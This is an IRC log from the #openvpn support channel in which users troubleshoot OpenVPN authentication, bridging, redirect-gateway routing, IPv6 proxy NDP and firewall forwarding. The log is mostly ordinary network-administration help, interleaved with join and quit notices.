00:58 < Martin`> set up a open wlan. then connect it with openvpn for a full network/lan connection :D
01:01 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:03 < combsbj> what admin doesn't have a few usb-ethernet dongles laying around?
01:04 < combsbj> I use em for hearbeat interfaces to not tie up ports on cluster servers
01:04 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 256 seconds]
01:07 < Aketzu> some that doesn't remember to order them :)
01:07 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:08 < combsbj> good to have in the toolbox
01:11 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:17 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:17 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:17 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:28 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:33 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:39 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
01:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:44 -!- tharkun [~0@187.188.166.5] has joined #openvpn
01:44 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
01:44 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
01:45 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
01:54 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
01:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:58 < hjohnson> pekster: not sure if you're still around... what I was going to do is create a "VPN Users" group and check that in my auth.  The thing i like about using RADIUS is I don't have to deal with the admin (or otherwise permissible password for the LDAP)
02:00 < pekster> Meh, when I do LDAP I use a role-based account to perform the LDAP Bind operation (no special perms needed) then auth the user after the context is active
02:00 < pekster> But RADIUS solvese that all anyway. Just link your VPN Users group in the RRAS policy for dial-in access and it'll magically work via RADIUS
02:00 < pekster> solves*
02:04 < hjohnson> cool
02:04 < javacoder> for getting tcp packets of a system is posibble uses Raw Socket without Tap/Tun vitural interface ?
02:06 < hjohnson> I'm running this shit in a volunteer environment.. AD is the right choice since it's easy enough for our on-site admins to add/remove accounts and the like.  I'm reather pleased with it actually
02:06 < hjohnson> as much as I'm a long-term open source user
02:07 < pekster> Use whatever you want for auth; openvpn doesn't care. Using --auth-user-verify if you can script it, you can auth by it. Use an auth monkey that manually approves them if you want ;)
02:08 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:08 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:08 < pekster> [ $RANDOM -gt 16384 ] && exit 1 || exit 0 <-- if you fail an auth attempt, just try again!
02:15 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:20 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:21 < hjohnson> lol
02:39 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has joined #openvpn
03:22 -!- javacoder [~javacoder@2.190.41.190] has quit [Read error: Connection reset by peer]
03:30 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:30 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:30 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:30 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:34 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:39 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
03:40 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:40 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:49 -!- javacoder [~javacoder@2.190.41.190] has joined #openvpn
03:50 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has quit [Ping timeout: 264 seconds]
03:53 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
04:04 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:10 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:10 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
04:10 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:25 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
04:33 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Read error: Connection reset by peer]
04:34 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
04:34 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:35 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
04:48 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has joined #openvpn
04:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 258 seconds]
04:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:54 -!- erry [erry@freenode/staff/erry] has quit [Quit: Segmentation fault]
04:59 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:02 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
05:02 -!- erry_ is now known as erry
05:04 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:04 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:04 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:16 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:22 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:22 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:22 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:26 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:27 -!- ptero_ [~ku@37-4-128-169-dynip.superkabel.de] has joined #openvpn
05:29 -!- kubbing [~kubbing@ip-78-102-124-167.net.upcbroadband.cz] has joined #openvpn
05:32 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:32 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:32 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:32 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
05:39 -!- xbanux1 [~xbanux@triband-mum-59.182.191.136.mtnl.net.in] has joined #openvpn
05:40 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:45 -!- xbanux1 [~xbanux@triband-mum-59.182.191.136.mtnl.net.in] has quit [Ping timeout: 256 seconds]
05:45 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:45 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:45 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:48 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
05:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
06:08 -!- sickness\ is now known as Sickness\
06:12 -!- xbanux1 [~xbanux@triband-mum-59.182.191.136.mtnl.net.in] has joined #openvpn
06:13 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:16 -!- kubbing [~kubbing@ip-78-102-124-167.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
06:19 -!- xbanux1 [~xbanux@triband-mum-59.182.191.136.mtnl.net.in] has quit [Ping timeout: 240 seconds]
06:23 -!- BenLue [~BenLue@unaffiliated/benlue] has joined #openvpn
06:24 < BenLue> Can anyone konfigure my OpenVPN Network. I need to pay for this Service
06:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:35 -!- BenLue [~BenLue@unaffiliated/benlue] has left #openvpn []
06:41 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:47 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:49 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Ping timeout: 256 seconds]
07:06 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
07:11 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Max SendQ exceeded]
07:17 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
07:23 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:23 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
07:23 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
07:39 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
07:40 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:40 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
07:40 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
07:46 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
07:51 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:51 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
07:51 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
07:54 -!- xbanux [~xbanux@triband-mum-59.182.164.191.mtnl.net.in] has joined #openvpn
08:03 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
08:05 -!- DrCode_ is now known as DrCode
08:06 -!- Guest22243 [xtz@DeathStar.Techn0.eu] has left #openvpn []
08:08 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
08:20 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
08:20 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
08:24 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
08:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:29 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
08:30 -!- tharkun [~0@187.188.166.5] has joined #openvpn
08:30 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
08:30 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
08:34 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
08:35 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:40 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
08:57 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
08:59 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:03 -!- tharkun [~0@187.188.166.5] has joined #openvpn
09:03 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
09:03 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
09:12 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
09:29 -!- Sickness\ is now known as sickness\
09:29 -!- brad [~brad@ninja.so] has quit [Remote host closed the connection]
09:35 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
09:35 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
09:39 -!- brad [~brad@ninja.so] has joined #openvpn
09:47 < jzaw> in debian wheezy can the tun driver accept an ifconfig to set topology subnet ?
09:49 < jzaw> same question for openwrt
10:02 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:02 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
10:16 -!- vraa__ [~speed_rac@173.45.222.89] has joined #openvpn
10:17 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
10:20 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 248 seconds]
10:21 -!- xbanux [~xbanux@triband-mum-59.182.164.191.mtnl.net.in] has quit []
10:23 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
10:41 -!- xBytez [~xbytez@unaffiliated/magix] has quit [Read error: Connection reset by peer]
10:41 -!- xBytez [~xbytez@we.are.rootgeeks.com] has joined #openvpn
10:41 -!- xBytez [~xbytez@we.are.rootgeeks.com] has quit [Changing host]
10:41 -!- xBytez [~xbytez@unaffiliated/magix] has joined #openvpn
11:01 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:05 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
11:08 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
11:10 -!- APTX [APTX@unaffiliated/aptx] has quit [Read error: Connection reset by peer]
11:15 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
11:30 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
11:35 -!- tharkun [~0@187.188.166.5] has joined #openvpn
11:35 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
11:35 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
11:41 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
11:43 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
11:43 < dimm0k> morning folks
11:44 < dimm0k> so i'm trying to set up openvpn server with ethernet briding
11:44 < dimm0k> i believe i have the server configuration set up...
11:46 < dimm0k> but i'm a bit confused as to why my client can't connect and why the server loses its connection when i turn off openvpn
11:47 -!- tharkun [~0@187.188.166.5] has joined #openvpn
11:47 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
11:47 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
11:48 < dimm0k> the lan subnet is the default 192.168.1.
11:52 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
12:20 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Read error: No route to host]
12:25 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
12:25 -!- Orbi [~opera@109.129.46.202] has joined #openvpn
12:25 -!- Orbi [~opera@109.129.46.202] has left #openvpn []
12:36 -!- squ [me@unaffiliated/squ] has joined #openvpn
12:36 < squ> hello
12:36 < squ> after basic setup procedure for server and client, client is able to ping 10.8.0.1 (server)
12:37 < squ> is it possible to use server's ip to access internet?
12:37 < squ> I need to setup for example a proxy? and configure web browser to use proxy 10.8.0.1 ?
12:57 -!- combsbj [~Brandon@74-136-77-68.dhcp.insightbb.com] has joined #openvpn
13:00 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
13:08 -!- squ-router [~ae@46.109.187.114] has joined #openvpn
13:45 -!- squ-router [~ae@46.109.187.114] has quit [Ping timeout: 260 seconds]
13:49 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
13:49 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
13:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:10 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:15 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
14:19 -!- xvzf [~gergoe@pool-05c39.externet.hu] has joined #openvpn
14:21 -!- tharkun [~0@187.188.166.5] has joined #openvpn
14:21 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
14:21 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
14:22 < xvzf> hi there, I followed http://wholehope.wordpress.com/2010/03/03/how-to-install-openvpn-client-on-fedoraredhat-etc/ to configure openvpn to use the DNS server over the tunnel. the "up direction" goes well, I can use the hostnames in the private network. But when "down" is called, then I get to an empty resolv.conf . resolvconf (the program) is called with -d tun0, and that deletes the nameserver on that inte
14:22 < xvzf> rface but the original is not retained. How can I do this?
14:22 <@vpnHelper> Title: How to install openvpn client on Fedora Redhat etc | Tech Heads (at wholehope.wordpress.com)
14:29 < JackSparrow> hi, i'm setting up a OpenVPN gateway, it can give each client an IPv6 address but i can't ping them from somewhere else
14:29 < Aketzu> how it gives ipv6 addresses?
14:30 < Aketzu> and have you added routes for ipv6?
14:30 < JackSparrow> yeah
14:30 < JackSparrow> i can ping6 each client from the gateway
14:30 < JackSparrow> and ping an external IP from the clients
14:30 < JackSparrow> wait, no.
14:33 < JackSparrow> with tshark, i see my ICMPv6 echo from the client than:
14:33 < JackSparrow> fe80::128c:cfff:fe28:3980 -> ff02::1:ff00:0 ICMPv6 86 Neighbor Solicitation for 2001:41d0:8:144d:cc0a:5:: from 10:8c:cf:28:39:80
14:33 < JackSparrow> where 2001:41d0:8:144d:cc0a:5:: is my client
14:34 < JackSparrow> and no ICMPv6 reply
14:34 < Aketzu> looking for the router I'd say
14:35 < Aketzu> what does ip -6 r say in the client
14:35 < Aketzu> more specifically 'default via ...' line and can you ping that host
14:35 < JackSparrow> default via 2001:41d0:8:144d:cc0a::1 dev tun0  metric 1024
14:35 < JackSparrow> i just added it
14:35 < JackSparrow> and yes i can ping it
14:37 < JackSparrow> if i run tshark on the gateway i see the packets going on it
14:37 < Aketzu> ipv6 forwarding turned on? no firewalls doing bad things?
14:38 < JackSparrow> ipv6 forwarding on, iptables' default policy ACCEPT
14:38 < JackSparrow> do i need a POSTROUTING rule for that ?
14:38 < Aketzu> then you should see the packets on servers external interface as well
14:39 < JackSparrow> yeah, i see the packet is sent
14:39 < Aketzu> do you see neigh solicitation for client in the external interface?
14:39 < JackSparrow> yeah
14:40 < Aketzu> the server isn't answering those so the next router doesn't know your client is there
14:40 < JackSparrow> exactly
14:40 < JackSparrow> but how to make the server answer it ?
14:41 < Aketzu> proxy_arp (or in ipv6, proxy_ndp)
14:41 < Aketzu> I've tried it a few times but then I've just added different subnet to different networks (=the right way) and added routing rules
14:47 < JackSparrow> what do you call "added different subnet" exactly ?
14:49 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
14:53 < Aketzu> external network is 2001:14b8:1c6:3/64, LAN is 2001:14b8:1c6:1/64 and VPN clients get 2001:14b8:1c6:2/64 for instance
14:53 < Aketzu> sixxs (ipv6 tunnel provider) routes 2001:14b8:1c6/48 to my computer which then routes those where they belong
14:54 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
14:54 < Aketzu> just the same as with ipv4
14:54 < eutheria> i have a weird issue my server is running the up script before the tun0 is up
14:54 < Aketzu> you are now trying to have the same subnet in two separate networks
14:55 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
14:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:55 < Aketzu> eutheria: do you have --up-delay ?
14:55 < eutheria> i don't think so
14:58 < eutheria> ah i think that solved it
14:58 < JackSparrow> Aketzu: Do i need to add each client's IPv6 to eth0 on the gateway ?
14:59 < Aketzu> then the server would be confused as to where to find the real client
14:59 < squ> is it possible for client to connect to internet via openvpn server ip?
14:59 < JackSparrow> so promisc mode on eth0 should make it accept the packets anyway ?
14:59 < Aketzu> ip -6 neigh add proxy 2001:xxx dev eth0
15:00 < jzaw> squ yes
15:00 < squ> how?
15:00 < jzaw> its in the wiki
15:00 < squ> I'm test on iphone
15:00 < jzaw> see redirect-gateway
15:00 < Aketzu> !redirect
15:00 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:00 <@vpnHelper> http://ircpimps.org/redirect.png
15:01 < squ> what is 8.8.8.8 ? a magic number?
15:01 < Aketzu> google dns
15:01 < Aketzu> "magic", yes
15:02 < squ> google dns is for me?
15:02 < squ> :)
15:02 < Aketzu> 8.8.8.8 is a public dns server run by google
15:02 < squ> ah
15:03  * hjohnson is oldschool and still tends to use 4.2.2.1 and 4.2.2.2
15:03 < hjohnson> (which are run by Level 3 these days)
15:04 < hjohnson> ahh, i think they're verizon now
15:05 < JackSparrow> oh, it pings. \o/
15:05 < JackSparrow> thank you Aketzu
15:05 < Aketzu> JackSparrow: this sounds also interesting, https://code.google.com/p/npd6/
15:05 <@vpnHelper> Title: npd6 - Neighbor Proxy Daemon IPv6 - Google Project Hosting (at code.google.com)
15:08 < squ> how do I ping 8.8.8.8 from iphone?
15:09 < Aketzu> one simple doesn't ping from an iphone
15:09 < Aketzu> ok, there's an app for that
15:10 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
15:13 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
15:13 -!- mode/#openvpn [+o dazo_afk] by ChanServ
15:13 -!- dazo_afk is now known as dazo
15:13 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
15:14 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection]
15:15 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
15:17 -!- sickness\ is now known as Sickness\
15:17 < hjohnson> lol
15:17 < hjohnson> htere's an app for everything.. though is there an OpenVPN app?
15:18 < squ> yes
15:18 < hjohnson> cool
15:18 < squ> using it
15:18  * squ have a strange feeling he will not succeed
15:18 -!- tharkun [~0@187.188.166.5] has joined #openvpn
15:18 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
15:18 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
15:18 < hjohnson> heh
15:19 < hjohnson> man, this VPN is going to suck, but I guess it will work well enough for what we need...
15:19 < hjohnson> vpn endpoint is on the far end of a 1mbps/300kbps satellite link.
15:19 < squ> as far as I got it his all I can tell that I'll faster setup http proxy
15:22 -!- ssfdre38 [~ssfdre38@unaffiliated/ssfdre38] has joined #openvpn
15:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:35 < pekster> Aketzu: there's no NDP in a routed setup
15:37 -!- ssfdre38 [~ssfdre38@unaffiliated/ssfdre38] has quit [Quit: Leaving]
15:38 < jzaw> pekster, hi ... is there something about a tun in openwrt (barrier breaker trunk) that wont accept forwarded pkts?
15:39 < jzaw> im trying to convert my tap setup to tun
15:39 < JackSparrow> Aketzu: npd6 does not work here, and i dotn really want to debug it
15:39 < jzaw> i KNOW the routes are right for the ips i see on tun interfaces
15:39 < pekster> Check forwarding in the kernel then. Firewall, forwarding, and routes are all you need to route packets
15:39 < jzaw> can ping client to server tun ip
15:40 < jzaw> ipv4_forward =1
15:40 < jzaw> firewall ive made uber permissive ie  tap+ accept for in and out for FORWARD INPUT and OUTPUT
15:41 < pekster> Aketzu: You're routing, right?
15:41 < jzaw> tun+ too
15:42 < jzaw> but no host on either end can ping the other end
15:42 < pekster> Then fix your firewall
15:44 < jzaw> firewall is blank at server end  ie policy accept .... and at client (openwrt end) .....
15:44 -!- xvzf [~gergoe@pool-05c39.externet.hu] has quit [Quit: Leaving]
15:45 < jzaw> http://pastebin.com/U23uc1RF
15:46 < pekster> Don't do that. Use iptables-save
15:46 < pekster> Never paste scripts, or output from iptables -L. It's wrong, lies to you, and is generally unreadable
15:46 < jzaw> thats from /etc/firewall-user
15:46 < pekster> I don't care
15:46 < jzaw> k
15:48 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has quit [Ping timeout: 245 seconds]
15:50 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has joined #openvpn
15:53 -!- squ [me@unaffiliated/squ] has quit []
15:56 < JackSparrow> if i do: ip -6 neigh add proxy 2001:41d0:8:144d:cc0a:5:0:1 dev eth0
15:56 < JackSparrow> ip -6 neigh show proxy # does not show it
16:00 < jzaw> http://pastebin.com/Q5PJjNsA
16:00 < jzaw> pekster, ^^
16:13 < pekster> Should be fine if you're attempting to forward between br-lan and tunX
16:13 < pekster> !clientlan
16:13 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
16:13 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
16:13 < pekster> Chances are you missed something there
16:34 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:37 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
16:43 -!- tharkun [~0@187.188.166.5] has joined #openvpn
16:43 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
16:43 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
16:47 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
16:48 < jzaw> pekster, thanks
16:49 < jzaw> oh one last thing
16:49 < jzaw> using
16:50 < jzaw> server 81.187.185.64 255.255.255.248
16:50 < jzaw> topology subnet
16:50 < jzaw> is this an expected or reasonable restult in ifconfig
16:51 < jzaw> tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
16:51 < jzaw>           inet addr:81.187.185.65  P-t-P:81.187.185.65  Mask:255.255.255.248
16:51 < pekster> It's fine. For the record, ifconfig is deprecated and you should prefer the use of the `ip addr` syntax instead
16:51 < jzaw> i do like ip actually
16:51 < pekster> Unless you like the stupid zeros it spits out
16:51 < jzaw> :)
16:52 < jzaw> much prefer it esp for route
16:52 < pekster> !ifconfig-linux
16:52 <@vpnHelper> "ifconfig-linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
16:58 -!- thalweg [~quassel@198.211.102.196] has quit [Quit: No Ping reply in 180 seconds.]
16:58 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
17:03 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
17:05 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
17:05 -!- mode/#openvpn [+o dazo_afk] by ChanServ
17:05 -!- dazo_afk is now known as dazo
17:09 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 258 seconds]
17:12 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Quit: - nbs-irc 2.39 - www.nbs-irc.net -]
17:14 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:29 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Ping timeout: 258 seconds]
17:29 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
17:34 -!- tharkun [~0@187.188.166.5] has joined #openvpn
17:34 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
17:34 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
17:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:46 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 264 seconds]
17:47 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
17:52 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has joined #openvpn
17:52 -!- phunyguy [~quassel@h184-60-182-132.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
17:52 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
17:57 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
18:03 -!- tharkun [~0@187.188.166.5] has joined #openvpn
18:03 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
18:03 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
18:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:04 -!- ptero_ [~ku@37-4-128-169-dynip.superkabel.de] has quit [Ping timeout: 240 seconds]
18:06 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
18:17 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
18:20 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
18:21 -!- vraa__ [~speed_rac@173.45.222.89] has quit [Ping timeout: 248 seconds]
18:23 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
18:30 -!- Devastator- [~devas@177.18.197.54] has joined #openvpn
18:31 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
18:34 -!- blorgh [~bagar@c-54d172d5.029-192-7570701.cust.bredbandsbolaget.se] has quit [Ping timeout: 264 seconds]
